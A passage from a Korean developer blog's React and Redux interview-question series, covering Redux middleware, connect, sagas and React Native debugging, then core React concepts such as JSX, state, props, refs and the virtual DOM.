Reducers 는 항상 모든 이전과 현재의 action을 기반으로한 상태값을 반환한다. Redux reducer 가 호출 될 때 마다 상태와 액션이 파라미터로 전달된다. 상태는 action 에 따라 감소되거나 누적되어 다음 상태를 반환한다. 최종 상태를 얻기 위한 action을 실행하는데 action 단위와 store 의 초기 상태 값을 줄일 수 있다.

### How to make AJAX request in Redux?

비동기 액션을 허용하는 미들웨어인 `redux-thunk`를 사용하면 가능하다.

```javascript
export function fetchAccount(id) {
  return (dispatch) => {
    dispatch(setLoadingAccountState()) // Show a loading spinner
    fetch(`/account/${id}`, (response) => {
      dispatch(doneFetchingAccount()) // Hide loading spinner
      if (response.status === 200) {
        dispatch(setAccount(response.json)) // Use a normal function to set the received state
      } else {
        dispatch(someError)
      }
    })
  }
}

function setAccount(data) {
  return {type: 'SET_Account', data: data}
}
```

### Should I keep all component's state in Redux store?

Redux Store 에서는 Data를 저장하고, 컴포넌트 내부에서는 UI 에 관련된 상태들을 저장한다.

### What is the proper way to access Redux store?

컴포넌트에서 스토어에 접근하는 좋은 방법은 `connect()`함수를 이용하는 것이다. 이 함수는 이미 존재하는 컴포넌트를 감싸 새로운 컴포넌트를 만든다. 이러한 방식을 HOC(Higher Order Component)라고 하는데, 이는 리액트에서 컴포넌트의 기능을 확장할 때 주로 사용한다. 이 방법은 상태와 action 생성자를 컴포넌트에 매핑하고, store가 업데이트 되면 자동적으로 컴포넌트에 state와 action 생성자를 전달 할 수 있도록 해준다.

conenct를 사용한 `<FilterLink>` component예제를 아래에서 살펴보자.

```javascript
import {connect} from 'react-redux'
import {setVisibilityFilter} from '../actions'
import Link from '../components/Link'

const mapStateToProps = (state, ownProps) => ({
  active: ownProps.filter === state.visibilityFilter,
})

const mapDispatchToProps = (dispatch, ownProps) => ({
  onClick: () => dispatch(setVisibilityFilter(ownProps.filter)),
})

const FilterLink = connect(mapStateToProps, mapDispatchToProps)(Link)

export default FilterLink
```

이미 성능최적화가 되어 있고, 버그를 발생할 여지도 적기 때문에 개발자들은 context api로 바로 스토어에 접근하는 것 보다는 `connect()`를 사용하는 것을 더 선호한다.

### What is the difference between component and container in React Redux?

`Component`는 애플리케이션의 일부분을 표시하는 함수 또는 클래스 컴포넌트를 의미한다.

`Container`는 비공식적인 용어로, Redux Store와 연결된 컴포넌트를 지칭한다. Container 는 Redux 의 state update 와 action 을 구독하며, DOM element 를 렌더링하지 않는다. 이러한 rendering은 하위 component 들에게 위임한다.

### What is the purpose of the constants in Redux?

상수를 사용하면 IDE를 사용할 때 프로젝트 전체에서 특정한 기능의 모든 사용내역을 쉽게 찾을 수 있다. 또한 오타로 인한 버그도 방지할 수 있다. 오타가 난다면 즉시 `ReferenceError`를 낸다.

일반적으로 `constant.js`또는 `actionTypes.js`에 저장한다.

```javascript
export const ADD_TODO = 'ADD_TODO'
export const DELETE_TODO = 'DELETE_TODO'
export const EDIT_TODO = 'EDIT_TODO'
export const COMPLETE_TODO = 'COMPLETE_TODO'
export const COMPLETE_ALL = 'COMPLETE_ALL'
export const CLEAR_COMPLETED = 'CLEAR_COMPLETED'
```

이 파일은 두 군데에서 사용된다.

1. 액션 생성시

```javascript
import {ADD_TODO} from './actionTypes'

export function addTodo(text) {
  return {type: ADD_TODO, text}
}
```

2. 리듀서

```javascript
import {ADD_TODO} from './actionTypes'

export default (state = [], action) => {
  switch (action.type) {
    case ADD_TODO:
      return [
        ...state,
        {
          text: action.text,
          completed: false,
        },
      ]
    default:
      return state
  }
}
```

### What are the different ways to write `mapDispatchToProps()`?

`mapDispatchToProps()` 안에서 dispatch() 를 사용하여 action creators를 바인딩하는 방법은 몇가지가 있다.

```javascript
const mapDispatchToProps = (dispatch) => ({
  action: () => dispatch(action()),
})

const mapDispatchToProps = (dispatch) => ({
  action: bindActionCreators(action, dispatch),
})

const mapDispatchToProps = {action}
```

### What is the use of the `ownProps` parameter in `mapStateToProps()` and `mapDispatchToProps()`?

`ownProps` 파라미터가 명시되어 있다면, React Redux는 component로 전달된 props를 연결된 함수로 전달한다. 그래서 만약 connected component를 사용한다면,

```javascript
import ConnectedComponent from './containers/ConnectedComponent'
;<ConnectedComponent user={'john'} />
```

`mapStateToProps()`와 `mapDispatchToProps()`안의 `ownProps`는 객체가 될 것이다.

```json
{"user": "john"}
```

이 객체를 활용하여 함수에서 무엇을 반환할지 결정할 수 있다.

### How to structure Redux top level directories?

대부분의 애플리케이션이 아래와 같은 상위구조 레벨을 가지고 있다.

1. Components: Redux를 모르는 컴포넌트
2. Container: Redux와 연결된 컴포넌트
3. Actions: 파일의 이름이 앱의 일부와 일치하는 액션을 생성하는 모든 것
4. Reducer: 상태 키와 일치파는 파일명을 가진 모든 리듀서
5. Store: 스토어 초기화를 위해 사용

이러한 구조는 중소규모의 애플리케이션에 적합하다.

### What is redux-saga?

redux-saga 는 side effects (데이터를 가져오는 비동기적인 작업이나 browser cache 에 접근하는 것등)를 React/Redux applications에서 더 쉽게 만들도록 도와주는 라이브러리다.

### What is the mental model of redux-saga?

`Saga`는 애플리케이션과 분리된 스레드와 같은것으로, 부수적인 역할을 담당하기 위한 책임을 가지고 있다. redux-saga는 redux의 미들웨어로, 메인 application 에서 Redux actions 과 함께 스레드를 시작, 중지, 취소 할 수 있으며 전체의 Redux application 상태에 접근할 수 있으며 Redux actions 도 전달할 수 있다.

### What are the differences between `call()` and `put()` in redux-saga?

`call()` `put()` 모두 effect creator 함수다. `call()`은 함수는 middleware 가 promise 를 어떻게 호출할지를 설명하는 effect 을 생성하는데 사용된다. `put()` 함수는 store 에 action 을 통하여 전달하도록 미들웨어에게 가르치는 effect 를 생성한다.

사용자의 데이터를 가져오는 예제를 보고 effects 가 어떻게 동작하는지 살펴보자.

```javascript
function* fetchUserSaga(action) {
  // `call` function accepts rest arguments, which will be passed to `api.fetchUser` function.
  // Instructing middleware to call promise, it resolved value will be assigned to `userData` variable
  const userData = yield call(api.fetchUser, action.userId)

  // Instructing middleware to dispatch corresponding action.
  yield put({
    type: 'FETCH_USER_SUCCESS',
    userData,
  })
}
```

### What is Redux Thunk?

Redux Thunk 는 action 대신 함수를 반환하는 action 생성자를 작성 할 수 있는 미들웨어다. Thunk 는 action dispatch 를 지연 시키거나, 특정한 조건이 성립되는 경우에만 dispatch 하도록 할 수 있다. 내부 함수는 파라미터로로 `dispatch()` `getState()`를 받는다.

### What are the differences between `redux-saga` and `redux-thunk`?

Redux Thunk 와 Redux Saga 는 모두 side effect 를 다룬다. 대부분의 시나리오에서 Thunk 는 Promise 를 사용하여 처리하고 Saga 는 Generators 를 사용한다. Promise 는 많은 개발자들에게 친숙하기 때문에 Thunk 는 비교적 다루기 쉽고, Sagas와 Generator 는 기능은 강력한 반면에 러닝커브가 존재한다. 두 미들웨어 모두 공존 할 수 있다. Thunk 로 시작하여도 만약 Saga 가 필요하다면 도입 할 수 있다.

### What is Redux DevTools?

Redux DevTools 은 Redux 를 위한 hot reload 기능을 가진 실시간 편집이 가능한 툴이다. 액션을 다시 재현하거나 UI 를 사용자 정의에 맞게 만들 수 있다. Redux DevTools 을 프로젝트에 설치하여 사용하고 싶지 않다면 Chrome 또는 Firefox 용 Extension 사용을 고려해 볼 수 있다.

### What are the features of Redux DevTools?

1. 모든 상태와 액션을 검사
2. action 을 취소하여 작업을 되돌리기
3. reducer 의 코드를 변경 시 staged된 액션을 재평가
4. action 에서 어떤 일이 일어났는지, 오류가 발생하였는지 확인
5. `persistState()` store enhancer 을 사용하면 page reload 에서 debug session을 유지할 수 있음

### What are Redux selectors and why to use them?

Selectors 는 Redux state 를 인수로받고 데이터를 반환하여 component 로 전달하는 함수다.

예를 들어, state에서 유저 상태정보를 받는다면 아래와 같이 처리할 수 있다.

```javascript
const getUserData = (state) => state.user.data
```

### What is Redux Form?

Redux Form은 React와 Redux와 동시에 작동하며, React 폼 내에서 Redux의 모든 상태를 저장할 수 있다. Redux Form은 HTML5 input요소들과 사용가능하며, Material UI, React Widget, React bootstrap 과 같은 UI 프레임워크와도 동작이 가능하다.

### What are the main features of Redux Form?

1. Redux store를 통한 필드 값 유지
2. 값 유효성 검사 (동기, 비동기)
3. 포맷팅, 파싱, 정규화

### How to add multiple middlewares to Redux?

`applyMiddleware()`를 사용하면 된다. 예를 들어, `applyMiddleware()`를 사용하여 `redux-thunk`와 `logger`를 추가할 수 있다.

```javascript
import {createStore, applyMiddleware} from 'redux'
const createStoreWithMiddleware = applyMiddleware(
  ReduxThunk,
  logger,
)(createStore)
```

### How to set initial state in Redux?

`createStore`에 두번째 인자로 초기 state값을 넘겨주면 된다.

```javascript
const rootReducer = combineReducers({
  todos: todos,
  visibilityFilter: visibilityFilter,
})

const initialState = {
  todos: [{id: 123, name: 'example', completed: false}],
}

const store = createStore(rootReducer, initialState)
```

### How Relay is different from Redux?

Relay와 Redux모두 하나의 스토어를 쓴다는 점에서 같다. 가장 큰 차이점은, 서버로 붙어 받은 메시지만 릴레이 한다는 점, 그리고 상태값을 모두 GraphQL 쿼리로 받는다는 것이다. Relay는 변경된 데이터만 가져온다는 점에서 데이터를 캐싱하거나 최적화할 수 있다.

## React Native

### What is the difference between React Native and React?

React는 자바스크립트 라이브러리로, 프론트엔드와 서버에서 동작하며, 유저인터페이스나 웹 애플리케이션을 만들기 위해 사용된다.

React Native는 네이티브 앱 컴포넌트를 컴파일하기 위한 모바일 프레임워크로, 자바스크립트 기반 React로 iOS, Android와 같은 네이티브 애플리케이션을 만들 수 있게 해준다.

### How to test React Native apps?

React Native는 iOS나 안드로이드와 같은 시뮬레이터로만 테스트가 가능하다. [expo app](https://expo.io)를 활용한다면, qr코드를 활용하여 무선 네트워크 상에서도 모바일과 컴퓨터로 싱크를 맞출 수 있다.

### How to do logging in React Native?

`console.log` `console.warn`을 사용할 수 있다. React Native v0.29에서는 아래 명령어로도 가능하다.

```text
$ react-native log-ios
$ react-native log-android
```

### How to debug your React Native?

1. iOS 시뮬레이터로 애플리케이션을 실행한다.
2. `Command + D`를 눌러서 웹페이지가 `http://localhost:8081/debugger-ui`에서 실행되게 한다.
3. Pause On Caught Exceptions을 활성화 하면 원활하게 디버그가 가능하다.
4. `Command + Option + I` 또는 `View` -> `Developer` -> `Developer Tools`로 크롬 개발자 도구를 띄운다.
5. 디버그가 가능하다.

---

Source: https://yceffort.kr/2019/08/13/reactjs-interview-questions-1.md
Title: 리액트 면접 질문 모음 (1)
Description: [목차](/2019/08/13/reactjs-interview-questions/)  ```toc tight: true, from-heading: 2 to-heading: 3 ```  ## Core React  ### What is React  리액트는 오픈소스 프론트엔드 자바스크립트 라이브러리로, 특히 싱글 페이지 애플리케이션의 사용자 인터페이스 구축을...
Date: 2019-08-21
Tags: react, javascript, frontend

[목차](/2019/08/13/reactjs-interview-questions/)

## Table of Contents

## Core React

### What is React

리액트는 오픈소스 프론트엔드 자바스크립트 라이브러리로, 특히 싱글 페이지 애플리케이션의 사용자 인터페이스 구축을 위해 사용된다. 웹가 모바일 앱의 뷰단을 다르기 위하여 사용되고 있다. 리액트는 페이스북에서 일아흔 Jordan Walke가 만들었다. 최초로 리액트 기반으로 만들어진 서비스는 2011년에 페이스북 뉴스 피드이며, 2012년에는 인스타그램도 리액트로 만들어 졌다.

### What are the major features of React?

리액트의 주요 기능은 무엇인가?

- RealDOM을 조작하는데 많은 비용이 소모되어 대신 VirtualDOM을 활용하고 있다.
- 서버사이드렌더링을 지원한다
- 단방향 데이터흐름 또는 단방향 데이터 바인딩을 따른다
- 뷰를 개발하는데 있어 재사용 가능한 컴포넌트 사용

### What is JSX?

JSX는 ECMA Script의 XML 신택스 확장 표기법이다. (Javascript XML의 약자다.) 기본적으로, `React.createElement()`함수에 문법 슈가를 제공하며,HTML 스타일의 템플릿 구문화함께 javascript를 표현할 수 있다.

아래 예제에서, `return`안에 있는 `<h1>` 구문이 자바스크립트 함수의 render function 으로 제공된다.

```javascript
class App extends React.Component {
  render() {
    return (
      <div>
        <h1>{'Welcome to React world!'}</h1>
      </div>
    )
  }
}
```

### What is the difference between Element and Component?

`element`는 DOM노드나 컴포넌트 단에서 화면에 보여주고 싶은 요소를 그리는 하나의 오브젝트를 의미한다. `element`는 `element`의 props에서 포함될 수 있다. 리액트에서 `element`를 만드는건 많은 비용이 들지 않는다. 한번 만들고 나면, 더 이상 변경이 불가능하다.

리액트에서 `element`를 만드는 예시는 아래와 같다.

```javascript
const element = React.createElement('div', {id: 'login-btn'}, 'Login')
```

위 함수는 아래와 같은 object를 리턴한다

```javascript
{
  type: 'div',
  props: {
    children: 'Login',
    id: 'login-btn'
  }
}
```

그리고 `ReactDOM.render()`이 아래와 같은 DOM을 만들어 줄 것이다.

```html
<div id="login-btn">Login</div>
```

반면에 컴포넌트는 다양한 방식으로 선언가능하다. 컴포넌트는 `render()`와 함께 쓴다면 클래스가 될 수도 있다. 좀더 단순한 방법으로, 함수로도 선언이 될 수 있다. 두 방식 모두 `props`를 input으로 받으며, `JSX`를 리턴한다.

```javascript
const Button = ({onLogin}) => (
  <div id={'login-btn'} onClick={onLogin}>
    Login
  </div>
)
```

JSX는 이를 `React.createElement()` 함수로 트랜스파일 시킬 것이다.

```html
const Button = ({ onLogin }) => React.createElement( 'div', { id: 'login-btn',
onClick: onLogin }, 'Login' )
```

### How to create components in React?

두 가지 방법이 존재한다.

1. 함수형 컴포넌트: 컴포넌트를 만드는 가장 심플한 방식이다. `props`를 첫번째 파라미터로 받는 받는 순수 자바스크립트 함수를 만들고, React Element를 반환하면 된다.

```javascript
function Greeting({message}) {
  return <h1>{`Hello, ${message}`}</h1>
}
```

1. 클래스 컴포넌트: ES6의 클래스를 활용하여 컴포넌트를 정의할 수도 있다. 위 컴포넌트를 클래스 컴포넌트로 바꾼다면 이렇게 될 것이다.

```javascript
class Greeting extends React.Component {
  render() {
    return <h1>{`Hello, ${this.props.message}`}</h1>
  }
}
```

### When to use a Class Component over a Function Component?

컴포넌트가 **state나 라이프 사이클 메소드를** 필요로 할 때 클래스 컴포넌트를, 그렇지 않으면 함수형 컴포넌트를 활용하면 된다.

> 근데 요즘은 `useState`을 사용하면 함수형 컴포넌트에서도 state사용이 가능하다

### What are Pure Components?

`React.PureComponent`는 `React.Component`에서 `shouldComponentUpdate`가 없다는 것만 제외하면 동일하다. `props`나 `state`에 변화가 있을 경우, `PureComponent`는 두 변수에 대해서 [얕은 비교](https://reactjs.org/docs/shallow-compare.html)를 한다. 반면 `Component`는 그런 비교를 하지 않는다. 따라서 `Component`는 `shouldComponentUpdate`가 호출 될 때마다 다시 render한다.

### What is state in React?

`state`란 컴포넌트가 살아있는 동안에 걸쳐 변화할 수도 있는 값을 가지고 있는 object다. 따라서 state를 가능한 간단하게, 그리고 state의 구성요소를 최소화하는 노력을 기울여야 한다. 다음은 User Component에 message state를 관리하는 예제다.

```javascript
class User extends React.Component {
  constructor(props) {
    super(props)

    this.state = {
      message: 'Welcome to React world',
    }
  }

  render() {
    return (
      <div>
        <h1>{this.state.message}</h1>
      </div>
    )
  }
}
```

`state`는 `props`와 비슷하지만, 컴포넌트가 완전히 소유권을 쥐고 있다는 것이 다르다.다른 어떤 컴포넌트도 한 컴포넌트가 소유하고 있는 `state`에 접근할 수 없다.

### What are props in React?

`props`는 컴포넌트의 input 값이다. HTML 태그 속성과 유사한 규칙을 사용하여 ReactComponent에 전달할 수 있는 단일 값 또는 객체 다. 이런 데이터 들은 부모 컴포넌트에서 자식 컴포넌트로 보낼 수 있다.

리액트에서 `props`를 쓰는 주요 목적은 컴포넌트에 아래와 같은 기능을 제공하기 위해서다.

- 컴포넌트에 custom data를 넘기기 위해
- `state`의 변화를 trigger 하기 위해
- Component의 render메소드 안에서 this.props.\*\*\* 로 사용하기 위함

예를 들어, `reactProp` 을 만들어서 쓴다고 가정해 보자.

```javascript
<Element reactProp={'1'} />
```

`reactProp`은 (뭐라고 정의했던 지 간에) React를 사용하여 생성된 component에서 접근이 가능하고, React native props에서 접근하여 사용할 수 있다.

```javascript
props.reactProp
```

### What is the difference between state and props?

`props`와 `state`는 모두 순수 자바스크립트 오브젝트다. 두 객체 모두 `render`의 output에 영향을 줄 수 있는 정보를 가지고 있지만, 컴포넌트의 기능적인 측면에서는 약간 다르다. `props`는 함수의 파라미터와 비슷한 방식으로 작동하는 반면, `state`는 컴포넌트 내에서 선언된 변수와 비슷하다.

### Why should we not update the state directly?

`state`를 아래와 같이 바로 업데이트 하면 렌더링이 일어나지 않는다.

```javascript
this.state.message = 'Hello world'
```

대신에 `setState()` 메서드를 사용하자.이는 `state`의 변경이 있을 때 `component`를 업데이트 해준다. `state`에 변화가 있을 경우, 컴포넌트는 리렌더링으로 응답한다.

```javascript
//Correct
this.setState({message: 'Hello World'})
```

주의: state를 직접 할당할 수 있는 곳은 `constructor` 혹은 자바스크립트 클래스의 필드를 선언하는 syntax 뿐이다.

### What is the purpose of callback function as an argument of `setState()`?

콜백함수는 setState가 끝나고 컴포넌트가 렌더링 된 이후에 실행된다.`setState`는 비동기로 이루어지기 때문에 callback에서는 어떤 액션이든 취할 수 있다.

주의: 콜백함수를 사용하는 것보다 라이프사이클 메서드를 사용하는게 더 좋다.

```javascript
setState({name: 'John'}, () =>
  console.log('The name has updated and component re-rendered'),
)
```

### What is the difference between HTML and React event handling?

1. HTML에서는 이벤트명은 소문자로 작성되어야 한다.

```html
<button onclick="activateLasers()"></button>
```

React는 camelCase를 사용한다.

```html
<button onClick="{activateLasers}"></button>
```

2. HTML에서는, `false`를 리턴하면 이후 기본 액션을 막을 수 있다.

```html
<a href="#" onclick='console.log("The link was clicked."); return false;' />
```

하지만 react에서는 `preventDefault()`를 명시적으로 사용해야 한다.

```javascript
function handleClick(event) {
  event.preventDefault()
  console.log('The link was clicked.')
}
```

### How to bind methods or event handlers in JSX callbacks?

1. 생성자에서 바인딩하기: 자바스크립트 클래스에서는, 메소드들이 기본적으로 바인딩 되어 있지 않다. 이는 클래스 메서드로 정의된 리액트 이벤트 핸들러와 마찬가지다. 보통, 생성자에서 바인딩한다.

```javascript
class Component extends React.Componenet {
  constructor(props) {
    super(props)
    this.handleClick = this.handleClick.bind(this)
  }

  handleClick() {
    // ...
  }
}
```

2. 퍼블리기 클래스 필드 구문: 생성자에서 바인딩 되기를 원치 않는다면, 퍼블릭 클래스의 필드 구문을 이용하여 callback을 올바르게 바인딩 할 수 있다.

```javascript
handleClick = () => {
  console.log('this is:', this)
}
;<button onClick={this.handleClick}> Click me </button>
```

> 클래스 필드(class field)
> 클래스 내부의 캡슐화된 변수를 말한다. 데이터 멤버 또는 멤버 변수라고도 부른다. 클래스 필드는 인스턴스의 프로퍼티 또는 정적 프로퍼티가 될 수 있다. 쉽게 말해, 자바스크립트의 생성자 함수에서 this에 추가한 프로퍼티를 클래스 기반 객체지향 언어에서는 클래스 필드라고 부른다.

```javascript
class Foo {
  name = '' // SyntaxError

  constructor() {}
}
```

> constructor 내부에서 선언한 클래스 필드는 클래스가 생성할 인스턴스를 가리키는 this에 바인딩한다. 이로써 클래스 필드는 클래스가 생성할 인스턴스의 프로퍼티가 되며, 클래스의 인스턴스를 통해 클래스 외부에서 언제나 참조할 수 있다. 즉, 언제나 public이다.
> ES6의 클래스는 다른 객체지향 언어처럼 private, public, protected 키워드와 같은 접근 제한자(access modifier)를 지원하지 않는다.

3. 화살표함수: 콜백에 화살표 함수를 사용할 수도 있다.

```javascript
<button onClick={(event) => this.handleClick(event)}>{'Click me'}</button>
```

주의: 콜백이 하위 컴포넌트에 `prop`으로 전달된다면, component가 리렌더링 될 수도 있다. 이러한 경우에는, 성능을 고려해서 1, 2번의 예제를 활용하는 것이 낫다.

### How to pass a parameter to an event handler or callback?

이벤트 핸들러와 파라미터 전달을 화살표 함수로 감쌀 수 있다.

```html
<button onClick="{()" ="">this.handleClick(id)} /></button>
```

이는 `.bind`와 같다.

```html
<button onClick="{this.handleClick.bind(this," id)} />
```

두 방식 이외에도, 아래와 같은 배열 함수 방식으로 정의해서 전달할 수도 있다.

```javascript
;<button onClick={this.handleClick(id)} />
handleClick = (id) => () => {
  console.log('Hello, your ticket number is', id)
}
```

### What are synthetic events in React?

synthetic event (합성함수) 는 브라우저의 네이티브 이벤트를 위한 크로스 브라우저 래퍼다. 이 api는 브라우저의 네이티브 이벤트와 동일하며, 마찬가지로 `stopPropagation()` `preventDefault()`도 포함하고 있지만, 모든 브라우저에서 동일하게 작동한다는 점이 다르다.

### What is inline conditional expressions?

조건부 렌더 표현을 위해 javascript의 if문이나 삼항연산자를 사용할 수 있다. 이외에도 중괄호로 묶어서 javascript의 논리식인 &&을 붙여서 jsx에서도 사용할 수 있다.

```html
<h1>Hello!</h1>
; { messages.length > 0 && !isLogin ? (
<h2>You have {messages.length} unread messages.</h2>
) : (
<h2>You don't have unread messages.</h2>
); }
```

### What are "key" props and what is the benefit of using them in arrays of elements?

`key`는 특별한 string 속성으로, 배열을 사용할 때 이용해야 한다. `key`는 리액트에서 어떤 item이 변화하고, 추가되고, 삭제되었는지 구별하는데 도움을 준다. 대부분 key로 id를 사용한다.

```html
const todoItems = todos.map(todo =>
<li key="{todo.id}">{todo.text}</li>
);
```

만약 이런 ID가 없다면, index를 사용할 수 있다.

```html
const todoItems = todos.map((todo, index) =>
<li key="{index}">{todo.text}</li>
)
```

주의

1. index를 key로 사용하는 방식은, 아이템의 순서가 바뀌는 경우가 발생할 수 있는 케이스에는 별로 추천할만하지 못하다. 이는 퍼포먼스에 악영향을 미치고, component state에 악영향을 미칠 수 있다.
2. list를 별도 컴포넌트로 뽑아서 사용하는 경우, key를 리스트 컴포넌트가 아닌 `li` 태그에 사용해야 한다.
3. 리스트 아이템에 `key`가 없으면 콘솔에 경고 메시지가 뜬다.

### What is the use of refs?

`ref`는 element의 참조값을 반환한다. 대부분 이러한 경우는 피해야 하지만, DOM이나 component에 다이렉트로 접근해야할 때 유용하다.

### How to create refs?

1. 최근에 추가된 방식으로, `React.createRef()` 메소들를 사용하면, React element는 `ref`를 통해서 접근할 수 있다. `ref`를 컴포넌트에서 접근하기 위해서는, 생성자 안에 `ref`를 instance property로 할당하면 된다.

```javascript
class MyComponent extends React.Component {
  constructor(props) {
    super(props)
    this.myRef = React.createRef()
  }
  render() {
    return <div ref={this.myRef} />
  }
}
```

2. React 버전과 상관없이 ref 콜백을 활용하는 방식이 있다. 예를 들어, SearchBar 컴포넌트의 인풋 요소들은 아래와 같은 방식으로 접근 가능하다.

```javascript
class SearchBar extends Component {
  constructor(props) {
    super(props)
    this.txtSearch = null
    this.state = {term: ''}
    this.setInputSearchRef = (e) => {
      this.txtSearch = e
    }
  }
  onInputChange(event) {
    this.setState({term: this.txtSearch.value})
  }
  render() {
    return (
      <input
        value={this.state.term}
        onChange={this.onInputChange.bind(this)}
        ref={this.setInputSearchRef}
      />
    )
  }
}
```

또한 컴포넌트의 함수 내에서 클로져를 `ref`를 사용할 수도 있다.

주의: 추천할만한 방법은 아니지만, 인라인 `ref` callback을 이용하는 방식도 있다.

### What are forward refs?

Ref forwarding은 일부 컴포넌트에서 ref를 받아서 자식 컴포넌트에게 전달하는 것을 의미한다.

```javascript
const ButtonElement = React.forwardRef((props, ref) => (
  <button ref={ref} className="CustomButton">
    {props.children}
  </button>
))

// Create ref to the DOM button:
const ref = React.createRef()
;<ButtonElement ref={ref}>{'Forward Ref'}</ButtonElement>
```

### Which is preferred option with in callback refs and findDOMNode()?

callback ref를 쓰는 것이 더 선호된다. 왜냐하면 `findDOMNode()`는 향후에 있을 리액트의 개선사항이 반영되지 않기 때문이다.

레거시에서 `findDOMNode`를 사용하는 방법이 있다.

```javascript
class MyComponent extends Component {
  componentDidMount() {
    findDOMNode(this).scrollIntoView()
  }

  render() {
    return <div />
  }
}
```

그래서 선호하는 방법은 다음과 같다.

```javascript
class MyComponent extends Component {
  constructor(props) {
    super(props)
    this.node = createRef()
  }
  componentDidMount() {
    this.node.current.scrollIntoView()
  }

  render() {
    return <div ref={this.node} />
  }
}
```

### Why are String Refs legacy?

예전에 React를 다뤄보았다면, 옛날 방식인 `ref`를 string으로 쓰는, `ref={'textInput'}` 와 같이 ref속성이 string이고, DOM Node인 `refs.textInput`로 접근하는 방법에 익숙할 것이다. 그러나 이러한 string ref는 하단에서 언급할 문제들 때문에, 레거시로 보는 것이 맞다. 그리고 string ref는 React v16에서 제거 되었다.

1. String ref는 실행중인 component 요소를 추적하도록 강제한다. 그리고 React Module을 stateful하게 만들기 때문에, 이는 번들시 react module이 중복 되는 경우 이상한 오류를 발생시킨다.
2. 라이브러리를 추가하여 String ref를 child component에 전달한다면, 사용자는 다른 ref를 추가할 수 없다. 그러나 callback ref를 사용하면 이런 문제를 해결할 수 있다.
3. Flow와 같은 정적 분석에서는 동작하지 않는다. Flow는 string ref를 this.refs와 같은 형태로 표시하도록 만드는 트릭을 추적할 수 없다. callback ref는 string ref보다 flow에 더 잘맞다.
4. 대부분이 render callback 패턴으로 동작하기를 기대하지만, 그렇게 동작하지 않는다.

```javascript
class MyComponent extends Component {
  renderRow = (index) => {
    // 동작하지 않는다. ref는 MyComponent가 아닌 DataTable에 연결될 것이다.
    return <input ref={'input-' + index} />

    // 이거는 동작한다. callback ref가 짱이다.
    return <input ref={(input) => (this['input-' + index] = input)} />
  }

  render() {
    return <DataTable data={this.props.data} renderRow={this.renderRow} />
  }
}
```

### What is Virtual DOM?

Virtual DOM은 메모리 내에서 표현되는 Real DOM 이다. UI는 메모리 상에서 표현되며, 그리고 real DOM과 동기화 된다. 이는 렌더 함수 호출과 화면에 elements 표시 하는 사이에 일어난다. 이 모든 과정을 `reconciliation`이라고 한다.

### How Virtual DOM works?

1. 어디서든 데이터가 편하면, Virtual DOM내에서 전체 UI가 다시 렌더링 된다.
   ![virtual-dom-1](https://github.com/sudheerj/reactjs-interview-questions/raw/master../../../images/vdom1.png)

2. 그런 다음 이전 DOM과 새로운 DOM을 비교한다.
   ![virtual-dom-2](https://github.com/sudheerj/reactjs-interview-questions/raw/master../../../images/vdom2.png)

3. 계산이 끝나면, Real DOM 중에서 실제로 업데이트가 있었던 부분 만 변경을 가한다.
   ![virtual-dom-3](https://github.com/sudheerj/reactjs-interview-questions/raw/master../../../images/vdom3.png)

### What is the difference between Shadow DOM and Virtual DOM?

Shadow DOM은 web component의 scope및 CSS scope 지정을 위해 설계된 web browser 기술이다. Virtual DOM은 브라우저 API 위에 자바스크립트에서 구현되는 개념이다.

### What is React Fiber?

Fiber는 React v16에서 새로운 reconciliation 엔진, 그리고 코어 알고리즘을 새로 작성한 것으로 볼 수 있다. React Fiber의 목적은 애니메이션, 레이아웃, 제스쳐, 작업일시정지 및 중단, 여려 유형의 업데이트 우선순위 조절, 동시성 등 여러가지 기본 사항에 대한 성능을 높이는 것이다.

### What is the main goal of React Fiber?

React Fiber 의 목표는 애니메이션, 레이아웃, 제스처등의 성능을 높이는 것이다. 렌더링 작업을 chunk별로 작업하고, 여러 프레임 별로 이를 펼치면서 작업하는 점진적 렌더링을 통해 이를 구현했다.

### What are controlled components?

입력요소를 제어하는 component를 controlled components라고 부른다. 모든 상태변경에 연관뢴 handler function이 존재한다.

예를 들어, 모든 이름을 대문자로 쓰기 위해서는, `handleChange`를 아래와 같이 쓰게 된다.

```javascript
handleChange(event) {
  this.setState({value: event.target.value.toUpperCase()})
}
```

### What are uncontrolled components?

uncontrolled components란 내부적으로 자기 자신의 state를 가지고 있는 component다. 현재 필요한 값을 찾기 위해 ref를 사용하여 DOM query를 할 수 있다. 이는 전통적인 HTML 과 비슷하다.

`UserProfile` Component를 아래에서 보자면, `name` input이 ref를 통해서 접근할 수 있다.

```javascript
class UserProfile extends React.Component {
  constructor(props) {
    super(props)
    this.handleSubmit = this.handleSubmit.bind(this)
    this.input = React.createRef()
  }

  handleSubmit(event) {
    alert('A name was submitted: ' + this.input.current.value)
    event.preventDefault()
  }

  render() {
    return (
      <form onSubmit={this.handleSubmit}>
        <label>
          {'Name:'}
          <input type="text" ref={this.input} />
        </label>
        <input type="submit" value="Submit" />
      </form>
    )
  }
}
```

대부분의 경우, 폼에서는 controlled component를 사용하기를 추천한다.

### What is the difference between createElement and cloneElement?

JSX는 `React.createElement()` 함수로 UI에 나타낼 React element를 생성한다. 반면 `cloneElement`는 element를 props로 보낼 때 사용한다.

### What is Lifting State Up in React?

여러 component 들이 동일한 변경 데이터를 공유해야하는 경우 가까운 부모 component 로 state를 올리는 것이 좋다. 즉, 두개의 자식 component가 부모에 있는 동일한 데이터를 공유할 때. 두개의 자식 component 들은 local state를 유지하는 대신, 부모로 state를 올려야 한다.

### What are the different phases of component lifecycle?

React lifecycle에는 세 개의 phase가 있다.

1. `mounting`: 컴포넌트가 browser DOM에 마운트 될 준비가 된 상태다. 이 phase에는 `constructor()` `getDerivedStateFromProps()` `render()` `componentDidMount()`가 있다
2. `updating`: 이 단계에서는, 컴포넌트가 두가지 방법으로 업데이트 된다. 새로운 `props`를 보내거나, `setState()` `forceUpdate()`를 통해서 state를 업데이트 하는 방법이 있다. 이 단계에서는, `getDerivedStateFromProps()` `shouldComponentUpdate()` `render()` `getSnapshotBeforeUpdate()` `componentDidUpdate()` 가 포함된다.
3. `unmounting`: 이단계에서는, browser DOM이 더 이 더 이상 필요 없어지거나 unmount된다. 여기에는 `componentWillUnmount()`가 포함된다.

DOM에서의 변경을 적용할 때, 내부에서 어떤 과정을 거치는지 알아볼 필요가 있다. 각 단계는 아래와 같다.

1. `Render` 컴포넌트가 어떠한 사이드 이펙트 없이 렌더링 된다. 이는 Pure Component에 적용되며, 이 단계에서는 일시정지, 중단, 렌더 재시작등이 가능하다.
